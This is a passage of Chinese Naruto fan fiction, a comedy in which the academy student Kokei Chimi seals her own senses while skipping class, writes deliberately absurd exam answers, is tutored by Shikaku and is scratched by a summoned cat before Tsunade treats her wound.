无论是画面还是声音都细致得过度了,庞杂的信息让千弥大脑有一瞬间的宕机。
需要封印回去一部分。
卷轴继续展开,看到一个名为五识封印的封印术,千弥不假思索地拿来在自己身上试验,她的大脑就快要转不动了。
一声“封印”,彩色的景象逐渐被无边的黑暗取代,紧接着鸟鸣与风声逐渐远去,连草木的清香也随着淡化,泥土里新长出来的绿草那种毛茸茸、软绵绵的触感变成一片虚无……
又出岔子了。
霸气的封印不是这个术。
她的封印术什么时候好到一次就能成功了?!
霎时间,古蹊千弥陷入了一种活着但又没完全活的困境之中。整个人如同被丢进了一个严丝合缝的密闭小盒子,置身于无边的黑暗,像空气轻飘飘地没有实体。
“有人吗?救救救救(助けて)。”
等不到能够解除封印的好心人,她就只能依靠小万或是放学的水门来救自己了。也许水户大人会来找自己?可水户大人能意识到影分身不是自己主动解除的吗?
收到两个影分身的记忆,千弥拖长了调子向外界求救的同时搜肠刮肚地回忆自己见过的能诚恳地表达悔意与请求宽恕的句子。
肢体语言的力量有时候也不容小觑。跪下来道歉的话,水门能原谅她逃学吗?
反思两秒的千弥不甘心地在心里werwer叫——
影分身都去上课了还能算她逃学吗?她有叮嘱分身认真学习,知识也顺利进脑子里了,这比那些身在教室、魂游九霄的同学学习效率高了不知道有多少欸。
本体刻苦修行加上分身认真读书,水门应该算她学两份习,好好夸奖一番再奖励自己一颗糖才对!
不对,要诚恳。
和小万一起跪下来道歉的话,水门和水户大人会原谅她吗?会吗?会的吧。
千弥隔一段时间就求救一次。然而不小心睡了一觉后,本就被封印了感知的千弥更没有时间感了。
外面有风吗?下雨了吗?有虫子在身上爬爬跳跳吗?视觉、听觉、嗅觉、触觉、味觉全都消失了,死亡的感觉会是这样吗?她的心脏空落落的。
“救——命——啊——”扯着嗓子的小鸭子嘎嘎地哑着声音叫喊。
“好像有人在求救。”带队归来的加藤断抬手示意小队警戒。
队伍里感知能力同样较强的木目功刀单指触地释放查克拉,“西南方,4公里。”
“去看看。”身为忍者他们有保护好木叶村民的义务。
“古蹊千弥?”断看着瘫在草地上、沾了一身草屑的人,表情震惊,“这个时间不应该还在上学吗?”
纲手姬因为古蹊千弥顺利入学高兴到了在赌场豪掷千金仍神清气爽的程度,逸闻中理当在学校读书的另一人此刻竟然出现在了木叶隐村的边陲。
“救——命——啊——”声音哑得不像样的小鸭子还在仰天叫唤。
察觉到异样的加藤断大步上前,看到了压在千弥身下的散乱的卷轴。
把被晒得红彤彤,冒着汗的小孩抱起来,将卷轴卷好揣进忍具包,断看着身后的队员们,“回去修整,我带着千弥去找三代目火影大人复命。”
“救——命——啊——”被抱起来的千弥闭着眼睛叫唤。
断小队的成员不约而同地低头看队长怀里的小女孩,继而带着敬意看向加藤队长,“是。”
带喊救命的古蹊千弥出街,考虑到村民的传谣力,不到晚上他们就能风闻木叶了。
“这是?”三代火影猿飞日斩看着被加藤断带过来的古蹊千弥,“现在不是上课时间吗?”
“救——命——啊——”比公鸭还沙哑的声音响彻火影室,没有一滴水,在太阳下干烤了好几个小时的千弥随时能歇火。
“怎么会这样?”猿飞日斩起身,小心地接过断怀里的孩子。
“应该是学习封印术的时候出了差错。”加藤断把包里的卷轴交给火影大人,“里面只记载了封印术的印。”
他没有封印术上的天分,相应的解印更没有在卷轴上注明,任务复命时顺手将古蹊千弥交给有“忍术博士”之称的火影大人是最好的选择。
“多亏有你,断。”
这个孩子是木叶和漩涡共同的遗产,他更是向扉间老师保证过会保护好这个孩子。如果千弥出了事,他责无旁贷。
转寝小春从日斩手中接过古蹊千弥,使用医疗忍术对千弥进行急救,女孩发白的嘴唇逐渐多了些血色。
好一番折腾,千弥终于恢复了知觉,同时霸气的封印也被三代目火影看过卷轴后一并恢复。
来不及为自己恢复五感而开心,接下来迎接古蹊千弥的是三堂会审。
罪人:古蹊千弥,木叶忍校一年级生。
罪名:逃学。
审判员:“三长”——村长、校长、家长,以及三长之外的恩人。
意识到自己的处境,古蹊千弥当机立断地跪在地上,不等面前的几人开口就先声夺人、闷头认错,“我已经深深地认识到了自己的错误!感谢加藤先生和各位大人的救命之恩!”
有其父必有其女,这副干脆利落的认错态度真的很像辻啊。曾见过古蹊辻与千手扉间私下里的相处模式,水户和日斩见状不约而同地在心里感慨。
熟知辻的性子,水户一眼就看出千弥认错态度的不走心。那种“我错了,但下次还敢”的气息都快溢出来了。最重要的是千弥妙语连珠的一连串忏悔里没有一处做出承诺,保证自己“不会再犯”。
“我建议古蹊千弥提前毕业。”志村团藏看着伏在地上,但头发像海胆一样杂着草屑不屈地反卷的古蹊千弥,沉着声音开口。
纲手他们那一代人,普遍都是6岁毕业。既然古蹊千弥的能力已经达到了下忍的水平,就不该继续在学校浪费资源。
“我不建议这么做。”转寝小春看着面上诚恳,实际上眼睛里不见悔意反倒充满纯真地冲着自己几人的方向好奇地眨巴、等待处罚结果的古蹊千弥。这位用发簪斜穿了两个丸子头的参谋言语犀利地点评,“以古蹊千弥目前的心智水平,她还不足以毕业。”
这个意思是说她是笨蛋吗?!古蹊千弥伤心地变成灰白色,背景板是一片象征忧郁的紫。
“放在学校继续磨练吧。”猿飞日斩看到水户也点了点头,一言定音。
虽然不想被毕业,也确实没有被毕业,但理由好扎心!
再次向断表示谢意,被水户牵走的千弥叹气,随着垂下脑瓜的动作,她的身上掉下了好几片草屑。
“对自己用封印术,真是胆大的笨蛋。”九喇嘛透过漩涡水户看着外面发生的事,撇着嘴“笨蛋、笨蛋”地笑骂。
水户将千弥沾了泥土干硬打结的头发揉开,细细的土渣落到地上,吓唬千弥,“竟然用影分身逃课,如果扉间知道他发明的忍术被后人用到这种地方绝对会火冒三丈。”
“会吗?”千弥想了想记忆里那位很和蔼的看起来很年轻实际上年纪一大把的白发老爷爷,“笑着说一句‘小鬼’,然后照着脑袋揉一揉就差不多了。”
用影分身烤鱼的时候他都没生气,区区逃学,对吧!
“会吗?”水户看着眼里有着细碎光芒的千弥笑了。
“一定会的。”千弥煞有介事地点点头,“居家旅行、逃课打架必备的影分身之术简直是世界上最伟大的发明!决定了,明天早上在慰灵碑前,我要着重表达对扉间大人的感激和敬意。”
“我的影分身可是很认真地在学校学习。”原本就毛茸茸的短发部分随着千弥摇头晃脑的动作立起来一绺,在水户眼睛底下不断地随风摇摆,“分身和本体在有限的时间里兼顾了感知修行和文化学习,效率超级加倍。”
扉间也是一个工作狂啊。听千弥提到效率,水户有些认同千弥的话。
“更何况,以我现在的年龄,不是木叶的花朵吗?火的影子会照耀着村子,让新的树叶发芽。”千弥用手托着脸颊故作可爱地捏着腔,“我可是好花。”
沙哑的小鸭子音色与千弥的动作之间形成了强烈的反差,水户抬起手指,照着千弥的额头戳了一下,带着许多草屑簌簌地落,“人小鬼大。”
“下次修行的时候来找我吧。”水户看着千弥被晒伤后还带着红色印记的脸颊,将手覆在上面。莹莹的光芒带着丝丝凉意,千弥忍不住贴着蹭了蹭,“陪伴千弥修行,见证成长也是值得回味的经历。”
“上学的时候也可以吗?我现在有想要变厉害的很重要的理由。”不仅没摸到霸王色的边,还受到了自己本身的力量的冲击,千弥此刻斗志满满。
如果能很好地掌握见闻色霸气,也许有一天自己可以照着昆虫手册找出木叶具备的全部昆虫品种!再努力努力,没准儿还能和志微与志黑一起,出一本前无古人的旷世著作!还是极为稀有的三人合著!
“可以呦。”水户笑吟吟的。
“水户大人带头鼓励我逃课吗?!”千弥眼
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睛睁得又圆又大,落进眼里的阳光恰到好处地点亮了一抹藏蓝色。
“我可没这么说。”水户扭过脸。
“我明白了,这就是大人之间所谓的‘潜规则’对吧!”千弥眼睛扑簌扑簌地眨,眼睛明亮地迸着小星星,太阳灼伤的痕迹被温柔地抚平后两边的脸颊重新染上了一层酡红。
千弥的沙哑的语调里带着可疑的兴奋,“我们一起偷偷摸摸!”
一生光明磊落,却在千弥口中变成了不仅“潜规则”小孩还“偷偷摸摸”的成人的漩涡水户:“……”
水户看到狐狸不遗余力地放声爆笑,笑得九条尾巴打了结还满不在乎地打滚。
就凭千弥现在的遣词用句水平,不放这孩子过早地毕业真是再正确不过的决定。
“千弥,”切身体会到了辻往日里那种甜蜜的烦恼,就算是喜欢千弥天性的水户也不得不重视起了千弥的教育问题,“你知道‘潜规则’这个词的含义吗?”
“成人社会存在的不言自明的道理?”古蹊千弥的小辫子随着她的动作在空中灵活地甩了两下,又甩出了夹在发丝间的两片草叶。
“不完全正确。”水户严肃地教导千弥,“这通常是一个贬义词。”
“我知道了。”她们是正派的人。
千弥从善如流地改口,眼睛弯弯如月牙,“那这是独属于水户大人和古蹊千弥两个人之间不可告人的秘密。”
漩涡水户:“......”
不可告人这种形容也有些多余呢。
漩涡水户牵着千弥的手,看着千弥头上那一绺像天线杆一样立起来的发旋,莞尔一笑。算了,慢慢来吧。
“火影大人都原谅我了,所以水门不可以再说我了呦!”洗完澡又换了一身干净的衣服,余下的时间吨吨吨地喝润喉的蜂蜜水。到了一年级的放学时间,和水户一起去学校接水门、玖辛奈、香奈放学的千弥恢复精神后梅开二度地先发制人。
“竟然连三代目火影大人都知道了,千弥是在外面遇到危险了吗?”波风水门走上前,捂着千弥泛红发烫的耳朵尖,“这里好红,是晒伤了吗?声音也有些不对。”
“欸。”声音短促地像入了秋才迟迟从土里钻出来的知了,不等从喉咙里出来就进入无限期的低潮。
一肚子的腹稿被水门的温柔和关怀打飞得七零八落,漫天飘雪。千弥嘴唇颤着随后狼狈地撇开头,只是耳朵还在对方的手心,怎么也逃不开,千弥只好垂着眼,“是我不小心胡闹过头,对不起,让你担心了。”
一心想着werwer叫的小狗竟然在水门面前表现得既安静又明理。
水户颇为惊奇地观察两人之间的互动,连见了日斩都不见有几分愧色的千弥竟然在波风水门面前生出了愧疚心,这就是所谓的“一物降一物”吗?
“没——”
还想说些什么的波风水门被玖辛奈拱飞,“真是的,人家也很担心你嘚吧内。”玖辛奈凑到千弥耳边说悄悄话,“我们白天轮流用分身术变成你的样子,所以千弥在老师眼中没有逃课。”
“可是……这件事团藏校长已经知道了。”千弥尴尬地再次将目光落在地面。
摇着尾巴向偷摸大鸡邀功的红毛小狗当场石化。
老师和那个阴恻恻的团藏校长会私下对账吗?她这个老师们交口称赞的好学生从今往后在老师眼里还是好学生吗?
“我要是变成坏学生了怎么办?”玖辛奈失意地趴在千弥的肩上。
“玖辛奈如果风评变坏,那我的情况在老师眼里一定更恶劣,可以帮你托底。”千弥笨嘴拙舌,一番安慰下来,玖辛奈更伤心了。
“我可是想要和千弥、爪、香奈一起成为‘一年级四杰’的啊!”玖辛奈崩溃地抱着头。
“啊?”站在水户身边的香奈没想到自己也要上进,连连后退摆手,“我就不用了。”
她觉得既不突出、也不落后,普普通通、没有压力地在学校学习和生活就很好。
“又不带我吗?”被拱飞出去,踉跄了两步才站稳的波风水门笑得像向日葵一样灿烂,他冲一脸苦恼、不知道该怎么安慰玖辛奈的千弥告状,“千弥,玖辛奈对我有偏见。”
连模棱两可的“似乎”、“好像”之类的副词都省去了。
“那爪和水门做第一第二,我和玖辛奈做倒一倒二?”
千弥看着委屈却还坚强地对自己露出笑容的水门,想到了绝佳的端水方式,“两种第一第二,这样一来我们四个还是连在一起。香奈做天平的支点。”
“谁要当倒数的那个啊!”额头撞在一起,玖辛奈丢下偷摸大鸡,走路带风,“漩涡玖辛奈可是要做第一的,正数的第一!”
“我可以和千弥做倒一倒二哦。”波风水门把晕乎乎地坐在地上的千弥拉起来,“我的话,如果是为了千弥,做倒数第一也不要紧。”
捂着额头的千弥迷迷瞪瞪地起身,看着被落日晕出橘黄色轮廓的水门,喃喃自语,“水门是天使吗?”
“不是哦。”波风水门盯着千弥红彤彤的耳尖,他也想学医疗忍术了。
“千弥。”波风水门轻声地唤千弥的名字,见千弥懵懵地转头看过来,柔软了声音说道,“不管做什么,请一定要注意安全。”
他极为珍重看着千弥,“不然我会担心。”
“真的对不起,让你担心了!”
后退一步接住眨着泪花、哭着扑抱过来的千弥,被紧紧环抱住的波风水门笑着摸了摸认真忏悔的小狗的狗头。
背景板里,玖辛奈被香奈从背后死死地禁锢,香奈压低了声音,不想打扰夕阳下的两人,“不要破坏这种温情时刻呀,玖辛奈。”
“就是因为是这个时刻,才需要我登场啊!快放开我啦,香奈!”一个不注意,邪恶的金毛犬果然又发力了!
风乍起,水户看着两两抱成一团的四个孩子,眉眼温柔。
此时此刻,谁也没想到波风水门会一语成谶——古蹊千弥在学期的终末真的变成吊车尾了。
40.离经叛道
过了今天,将成绩单发放给学生们后,木叶忍者学校的一年级师生就正式迎来了第一次学年休業。
“古蹊千弥!!!”
一年的劳动浓缩成一纸纸答卷,心情愉悦地欣赏着自己的教育成果,改着试卷的老师突然狰狞地从椅子上仰倒,噗通一声,在沙沙的只有笔声的安静房间内激起一阵惊涛。
“入道老师?”同室的其他老师丢下改卷笔迅速围了上去。在忍校主要负责帮助学生们提升精神力和感知力的加藤断也在其中,他今日恰好受一位老师请托来这里帮忙处理部分试卷。
围在入道身边的老师们一眼就看到了悠悠地、四角打着卷儿飘落在入道真仓胸前的卷子。
“这是……”一张字迹整齐的卷子。
除了干净的卷面,他们实在找不到其他能夸的地方。
一年级文化课的学习内容远没有高年级精深,考虑到新生们的文化水平参差不齐,他们在课堂上以识字、了解忍村的发展历史、木叶隐村的忍族以及学习忍者应当具备的各种常识为主,兼具了一些基础算术知识。与之相对应的,考试题目也较为感性,掺杂基础常识题的同时有大量的开放式题目。
1.创立了木叶隐村的两个忍族族长的名字是——
他们像空口吃了100颗酸梅,如出一辙地表情扭曲地看着试卷上整齐的字,“宇智波桥喇嘛和千手真鳕?”
这写的是谁啊?!
既然知道读音,为什么会不记得字?要知道,教材上可尽是些假名和汉字。
这是单纯的态度问题。
连看了两道题目,一个身材矮胖的老师捂着胸口退了出去。再看这些逆天的答案,他怕自己本就不低的血压能冲爆血管,血溅当场。
原地只留下了几个承受能力较强,准确来说,是与古蹊千弥没有直接教学关系的老师,“何谓忍者。”
加藤断看着横平竖直的汉字,下意识地念出声,“非人哉。”
加藤断:“……”
这孩子是不想升学了吗?
忍道题——
“生而为人,我很抱歉。”
“这、这、这简直是……”连平日与古蹊千弥不相干的老师都颤巍巍地倒了下去。
“倍原老师?!”
这位可是木叶初创时期就活跃着的忍族前辈!年纪这一块自然不用说。生怕老前辈被气出个好歹,加藤断把倍原背在背上闯进了纲手姬的演示医疗忍术的实操教室。
“真是的,都一把年纪了情绪就不要这么激动了。”用查克拉刺激了几个穴位,纲手看着恢复了意识的老师,“谁啊,竟然能把您给气成这样?”
学生们正大汗淋漓地拯救半死不活的胖头鱼,这是医学生们的期末考核。
纲手看着怒目圆睁、一语不发的老师在心里啧啧称奇——当年面对上课搞怪的自来也都能忍,怎么随着年龄上去,越活越回去,忍耐力反而下降了。
对面的加藤断的眼睛都快眨成电灯泡了,令人遗憾的是金发女子并没有收到信号。
“古蹊千弥是你的亲人吧。”
红唇紧闭,纲手忽然有一种不好的预感。她抬起头看着扶着老师站在一旁的加藤,心里最后的一丝希望破灭了——一头浅蓝色长发的男人叹气,一脸沉重地冲她点了点头。
“我们家孩子只是不擅长文字。”又一次替水户奶奶充当千弥的监护人,坐在了爱の年级主任对面的纲手理屈气壮,“包容不是三代目火影大人的办学理念吗?”
“寸步不让也是现校长的行事风格。”松源吹胡子瞪眼。
“那你希望让古蹊千弥留级?”
纲手对此倒是无所谓,至于干出这种事的千弥的想法?这不重要。敢写出那种平等地不尊重每一位前辈的名字的答案,古蹊千弥就该有留级的觉悟。更何况,里面还有她两个爷爷的名字。
“我希望你能扭正她的叛逆心,让她回归正道。”
将古蹊千弥留在一年级,他是嫌自己活得太久了,生活不够安逸吗?
“你怎么不让我去当菩萨?”
她要是能做到,还能让千弥一口一个“小侄女”地爬在头上?
小刺头被大刺头护着,谈不拢,根本谈不拢。
于是三代目火影带着不离手的烟斗悠悠地登场了。
安抚了老师,猿飞日斩又马不停蹄地找到了如今“名满忍校”的古蹊千弥。没人知道猿飞日斩和古蹊千弥私下里说了什么,但这场风波算是结束了。
“你竟然把我们的玩笑话当真了!”抱着偷摸大鸡惨淡的成绩单,玖辛奈替千弥悲伤。
文化课成绩低得惨绝人寰,开创建校以来的历史新低,全年级也没有成绩差得太离谱的学生,再加上千弥连文化课之后考的体术、战术之类的科目也都保持着不上不下的状态,综合成绩就这么自然地垫了底。
玖辛奈痛心不已,连放假的喜悦都被千弥的成绩排名冲散得一干二净,“宇智波的先先先代族长的姓氏被你写成了‘千手’,不仅如此,还改名成了‘真鳕’。我的偷摸大鸡难道吃鱼吃坏了脑子吗?这样下去会被别人当成只会打架的笨蛋对待吧!”
“我倒是不觉得有什么。不用替我难过啦,玖辛奈。”千弥抓了抓头发,冲着站在一旁神色凝重的波风水门合掌,露出讨好的笑。
回到家,关起门的波风水门看着千弥,“除了谐音梗,这些开放题其实都是千弥酱的真心话吧。”
带着“酱”称呼人名时的水门给她一种阴恻恻的感觉,小狗抱着自己抖了抖。
“有吗?”
“说起来,千弥很早就流露过对忍者守则的厌恶。”波风水门表情淡淡的,语气也淡淡的。
“厌恶”这个词看似说得有点重,但形容得恰如其分。
“好像是这样。”千弥捞起窝在垫子上的小万,当成挡箭牌抱在胸前。
关键时刻很会审时度势的海鸥抻了抻脖子,想逃到一家之主那头,可惜被千弥抓住腿。连翅膀也不敢扑的小万静静地把头缩进胸前,用翅膀埋住自己。
“那千弥也讨厌忍者吗?”
“不讨厌啊。”
自觉地承担着教育千弥、改造千弥思想的伟业的波风水门闻言一怔,这和他预期的情况不符。
“放心,我有我的节奏!”察觉到谈话间的转机,乘胜追击的千弥拍了拍胸,不料,得到解脱的白海鸥也抓住了机会
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,哗啦啦地逃难般逃到水门那一侧。
被海鸥翅膀拍了两巴掌的水门:“……”
被小万头也不回地遗弃的小千:“……”
“我难道不是你最喜欢的人类了吗?”千弥大怒,盯着躲进水门怀里的白色叛徒。
“水门!水门!”向一家之主表忠心的小万把脑袋往水门的衣服里塞。
“学校是建立友情的地方,不是工厂。”和志村团藏面对面的猿飞日斩看着手里一片红钩的试卷,这就是那张曾被众人传阅的古蹊千弥的卷子,“你太心急了,团藏。”
“你应该也知道她的能力足以毕业。”志村团藏声音冷硬,细听还带着滔滔怒火。
是他在古蹊千弥卷子的卷头贴上了结业考试卷的字样,但志村团藏不认为自己有错。小春和日斩说古蹊千弥心智不成熟,那他就用古蹊千弥的期末成绩证明给两人看。
唯一令他没想到的是,自己竟然被那个野丫头以自伤一千为代价反将了一军——毫无疑问,古蹊千弥成为了志村团藏担任校长第一年,学校教导出的史无前例、“震古烁今”的“败笔”。
校长、老师的名誉往往和他们教导出的忍者挂钩,往后村民们一提起木叶忍者学校的志村校长,脑子里出现的不是被大力推行、要求反复背诵的上百条忍者守则就是第一届名震村内外的古蹊千弥了。
“千手……真鳕?”听到老师间的谈话和在小黑板上的比划,拿着学生们投掷成绩表的宇智波镜呆若木鸡。
见到那位性情很好的宇智波老师也来了,老师们热情地把镜拉过去,细说低年级的古蹊千弥的可怕之处。
没想到他们传说中开着九尾高达袭村,能止小儿夜啼的先先先代族长竟然死后还能被同村的后辈改名换姓,不过……竟然还有宇智波桥喇嘛。连初代目火影大人也惨遭毒手了吗?
喇嘛似乎不是多见的名,千弥就这么喜欢神佛吗?
鸢喇嘛,猿飞孙悟空……但凡涉及了人名的答案,不是易姓不易名、易名不易姓,就是被编排得面目全非。
真是众生平等啊。
宇智波镜呆呆地听老师你一言我一语地把千弥的答卷揭底得一干二净,这位火影大人的暗部、宇智波一族的精英突然笑了。
怎么有人在年幼时能做出那么多离经叛道的事?
听到镜的轻笑,忍者学校的常驻老师们如临大敌,“宇智波老师,别笑了。等这孩子升学上来,可就是我们来‘迎战’小魔王的时刻了!”
“请好心体谅一下我们吧。”一位寸头教师看着小黑板上的字欲哭无泪,他也是教文化课的,负责三年级和四年级的文化课,留给他的时间不多了,“作为按学年动态调整并进行轮换的特设科教师,您届时或许不用面对古蹊千弥那孩子,甚至不在忍校教学。您可真是幸运啊。”
“刚刚是我失礼了。”镜收起唇角的笑,看着这么早就忧虑未来的老师们,安慰道,“也许到那时候,千弥已经变得成熟了,不需要费心。”
“承您吉言。”寸头的老师看着其他老师,邀请道,“恰逢新年,一起去火之寺烧香祈祷吗?”
宇智波镜:“......”祈祷什么?净化魔王吗?
41.独眼的千克斯
欣然接受自己的成绩,千弥只觉得做一名“差生”似乎别有一番乐趣,着重表现在自由,没来由的感到自由。
往前看,尽是进步空间,往后看,退无可退。开放题飘零,算术题选做,她的文化课成绩经过折合后只有个位数。
“前路一片光明啊。”和鹿久分享了自己对成为所谓的“吊车尾”的态度,千弥被捏住了脸颊。
“看来是我平时不思进取的态度潜移默化让你也受影响了。”
从千弥这里知道了她成绩落后的实情,鹿久险些就要理解了千弥的行为,听到这番堕落发言实属意外之喜。奈良鹿久咬着牙,既怒千弥不争,也恨自己没有做好榜样,他道,“我会负起责任的。”
“负什么责任?”千弥呆住,偷摸大鸡们似乎一个赛一个无法接受自己的成绩单,得了空竟然全都跑过来安慰自己了。
已经升为特别上忍,兼职体术教师的珍兽前辈在听说了一年级的“黑洞”后特地过来毛遂自荐,自请辅导她文化课,被她拒绝了。
美琴和绳树想拜托在忍者学校任教的同族前辈和姐姐纲手来拯救她惨不忍睹的成绩。她感激地拒绝了美琴的提议,至于后面的那个人……似乎试图背着她搞先斩后奏、木已成舟那一套。可惜,绳树没想到自己会被生了一肚子闷气姐姐按在地上好一通摩擦。
她的偷摸大鸡们果然都是一群很好、很好的家伙!
千弥收回感动,沉稳地拍拍鹿久的肩膀,劝说道,“我觉得现在就挺好的。你看,没有人愿意落后,成为最差的那个,但是我刚好很乐意,填补了这个人人避之不及的空缺。”
“就算是不想直接毕业,你应该也有很多其他办法吧,偏偏弄出了鱼死网破的架势。”
“是为了旗帜鲜明地向团藏校长表示我方立场!”
“你方……”听到这番狡辩,鹿久捏面团一样把千弥搓扁揉圆,无力道,“表明立场就是把火影们的名字乱写?”
“为了公平。”千弥的声音虽然含糊,但身上的正气直冲云霄,“有了我,说不准排名倒数第二的同学还能过一个愉快的新年。”
这是扶的哪门子贫?突然骄傲什么呢!
古蹊千弥是真的浑然不在意自己的名声。意识到这点,奈良鹿久被混不吝的态度气到发抖。
他私心希望古蹊千弥能成为让忍校师生赞不绝口的学生,能在学校快乐地欢度六年。但这才第一年,这家伙就无惧无畏地奋勇扎进泥池,还是和绳树比赛荡藤条时不慎摔进去的那个臭烘烘的泥池,成了全校教师的眼中钉。
建校以来,甚至是建村以来,还从来没有哪个人胆大到在木叶忍村的创始人们头上起舞,古蹊千弥做到了,甚至连野史都不敢写的东西,古蹊千弥也写了。
此时此刻,奈良鹿久的辫子哪怕散下来恐怕也能自动倒耸朝天。
“鹿久。”千弥的声音弱弱的。
“嗯?”不能打,不能骂,老父亲奈良鹿久强行平复心情,垂眸思索能激发出千弥“上进心”的方法。
“你能笑一个吗?”地上“群魔乱舞”的影子看起来怪渗人的!
“不能。”还是有生以来的第一次,奈良鹿久毫不犹豫地拒绝了千弥的请求。
“明天开始,我们一起学习。”鹿久霸道地终结了千弥的假日活动。
他要让千弥感受到知识的魅力,那种烂泥不上墙的消极心理必须趁早矫正。
千弥震惊,“不是放假了吗?”而且她也不是真笨蛋。
顶着鹿久的目光,内心流泪的千弥小鸡啄米。
于是,苦难开始了——
“水门,呜呜,还好有你陪着我。”
被鹿久引诱着立下赌约的千弥咬着纸巾欲哭无泪——她在纸上戳了300个黑点也没能计算出流星划破夜空时的轨迹方程。这是人类能作答的题目吗?为什么丢手里剑还要模拟敌对忍者的外貌特征?青蛙和蟾蜍一起放声大叫,怎么计算两种蛙以及蛙卵的数量?
鹿久说的没错,她真的是笨蛋。她怎么能一时激愤就质疑全木叶脑子数一数二好使的鹿久的话呢!
当日的题目若是答不出,就要等第二天的答案,同时还要接受鹿久发放的新题。完蛋了,整个假期都赔进去了。
她与赌博不共戴天。
呜呜呜。
假期除了充实,还是充实。生啃鹿久带来的参考书,各种各样的知识像强盗一样霸占了她的脑子,硬生生挤轧脑子里留给汪洋的空间。连汪酱都因为那些让狗头晕眼花的题目不肯上门了。
“呜呜呜呜,终于到放风日了。”在丸子店抱着美琴的千弥泪眼汪汪,“好可怕,我到底哪里惹到鹿久了?没有毛茸茸的日子真是一天也过不下去。”
不知道为什么,鹿久像着了魔一样坚持要让自己感受到学习的“魅力”,还说什么到达临界点之后自己会顿悟。顿不顿悟的古蹊千弥不知道,但她现在是真的讨厌学习了!
“说到毛茸茸。”美琴摸着千弥的头顶安慰,“我契约了通灵兽哦,可以给千弥抱一抱。”
“乌鸦吗?”宇智波一族的族地盘踞着很多乌鸦。
“是ねこ!”美琴敲在千弥的头顶。她一点也不喜欢那些黑乎乎发出怪叫声的鸟类。
“猫不喜欢我啦。”千弥失落地趴回去,在美琴怀里蹭了蹭。
“忍猫一族可是宇智波代代相传的通灵兽。”美琴安慰千弥,“一定不会讨厌千弥的。”
用手里剑在手指上划开一个小口,原地出现一只橘黄色杂着白条纹的狸猫。
“美琴,有事找我吗喵?”蹲在地上的狸猫舔了舔白色的爪,“你是?”
“我的名字是古蹊千弥,请多指教喵!”蹲在地上的千弥笑着,然后毫无防备地挨了猫一爪子。
“呜呜呜呜呜。”被挠成香克斯的千弥疼得泪水混着血水一起流,“我果然不招猫喜欢。”
一边抹泪一边哭的千弥不忘昭告自己犬派立场,“汪酱大好き!”
“现在可不是说这个的时候!”来不及斥责嘭地化作一道白烟消失的通灵兽,美琴扶着在自己怀里打滚的千弥起身,“要赶紧包扎伤口才行!”
“过几天会好的。”千弥摸了摸流到下颌的泪血混合液,“你说这一滴里,铁元素的含量是多少?”
“留疤了可不行!”屏蔽了千弥的“污染”,美琴掏出忍具包里的纱布,小心地点蘸着吸去千弥脸上的血,“不要动。”
都见血了,竟然还在想一些不相干的怪东西,鹿久把千
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弥弄傻了!
“留疤吗?听起来会很酷啊!”千弥眨了眨眼。
“哪里酷了,一点也不酷。无论是三道白白的浅色印子还是凸起来的增生都丑死了。”美琴威胁千弥,“不准留疤,听到没有。”
“可这种事我也没办法决定啊。”小狗团成一团,委屈巴巴地抱住自己。
刚才温柔的美琴去哪了?
“你们这是?”学生放假、暗部也不当值,找店铺解决午餐的宇智波镜路过,停下了脚步。
“cosplay独眼海盗!”千弥摇尾巴,摆了个虚虚地握刀的造型,期待地看着卷卷前辈,“酷吗?”
“是包扎伤口!”把不老实的千弥敲乖,美琴拉着千弥起身,“伤口有些深,我们去医院。”
“等等!”手背在身后摸淋了料汁的丸子,千弥硬是坐了回去,腿绞在椅子上,咬一口丸子,“我觉得风干就很好。”
清楚地看到千弥的额头上渗出汗水的宇智波镜:过了这么久,还是怕医院啊。
“没有风干这种治疗方法!”美琴气呼呼地威胁,“眼睛瞎了怎么办?”
这是对爱眼护眼的宇智波一族族人最好用的威胁手段,但坐在她面前的是皮实的古蹊千弥,不姓宇智波。
纱布渐渐出现血色,宇智波镜见状加入美琴的阵营,“只是包扎伤口,不用抽血。”
“不用了。其实我的恢复力很强。”这一点面前的两个人都知道。
“既然千弥不愿意,那就算了吧。”宇智波镜无奈地叹气,像是放弃了劝千弥就医的想法。
“所以——”快乐小狗抬起头,迎面溺毙于由三只旋转的勾玉汇成的血色汪洋中。
千弥抓着竹签,缓缓地滑落。
“镜前辈?!”怎么能用幻术呢?!
扶住缓缓倒地的偷摸大鸡的美琴试着抽出千弥手里的竹签,然后失败了。
竟然对一口丸子这么执着。
“你又不姓秋道!”美琴又气又笑。
攥着签子的手用力到发白。医院真的那么可怕吗?镜垂眸沉思。
“我们走吧。”打包了一份三色丸子、一份章鱼丸子还有两串鱼丸的镜拎着袋子,抬手招呼还蹲在地上和竹签较劲的美琴。
“前辈,这些是?”美琴接过前辈递过来的袋子,迷茫地看着这位温和的宇智波大前辈。
“千弥醒来后的赔礼。”用手中的丸子换走美琴的千弥,把人背在背上的镜温声提醒,“跟上。”
两道人影一前一后地在路上穿梭。
“你是说这些伤是忍猫做的?”等待期间得知了前因后果,饶是见多识广的宇智波镜也难免陷入了沉默。
通灵兽无故伤人,这种事几乎闻所未闻。
“可以请你再通灵一次吗?”
美琴照做,然后……通灵出了一只没有满月、连走路都四腿打着颤的猫崽子。
新世纪名画《两双豆豆眼》就此诞生。
“前辈,要不换您来呢。”美琴羞耻地捂住了脸。
啪嗒瘫在地上,幼猫在两人的注视下变成一阵烟消失。
镜表情空白,讷讷地回答。“可我的通灵兽是乌鸦啊。”
“……”
“……”
42.传说中的魔王
竟然连那位纲手姬都过来了。
“好长、好粗的针头……”千弥的情况不会很严重吧?!
宇智波美琴眼眶含泪,看着春风拂面一身白褂的纲手哼着小调、手举特制针头,脚下生风地进了门。
里面传出一声惨叫。
“这是……幻术被解开了?”镜抬头看向紧闭的门。
“按住了!”
噼里嘭咚一阵响,门突然被人从内打开,接着一双手在扒着门框的同时在混乱之中抓住了站在门外的宇智波镜,千弥眨着泪花,“卷卷前辈,救命!”
有大腿就抱,乱投医的千弥已经顾不上思考给自己一发幻术的前辈和小侄女合谋的可能性了。
“身为忍者,怎么能畏惧小小的清创手术!”纲手狞笑着从后面单手环住了古蹊千弥的腰,医疗室里还有一位正在捡拾医疗器具的实习医忍。
一心逃跑的千弥上下挣扎,大声地反驳纲手的话,“清理伤口会用到手术刀吗?那是谋杀。而且我也不是忍者!”她现在只想变成一阵风或是一朵云飘走,“医疗忍术不是‘咻——’一下再‘唰——’一下就能把伤口复原了吗?”
为什么轮到自己就这么波折?连刀都用上了,还贴着脸比划呢!
插不进两人间的对话,宇智波·救命稻草·镜受到怪力的间接拉扯,被一同拖进了医疗室,他看着千弥闭着的那只眼睛上皮肉外翻的抓痕眉头紧锁,“竟然这么严重。”
“其实一点也……”不严重……
